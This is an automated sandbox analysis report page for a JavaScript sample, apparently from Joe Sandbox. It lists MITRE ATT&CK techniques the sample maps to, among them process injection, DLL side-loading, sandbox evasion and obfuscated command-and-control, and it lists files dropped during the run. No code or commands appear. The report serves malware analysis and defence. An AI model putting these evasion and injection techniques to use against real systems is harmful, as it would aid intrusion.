Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 32279194341766111087.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\257e77d3-53ed-4992-a589-145f89b4a359.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7296

Windows Analysis Report
32279194341766111087.js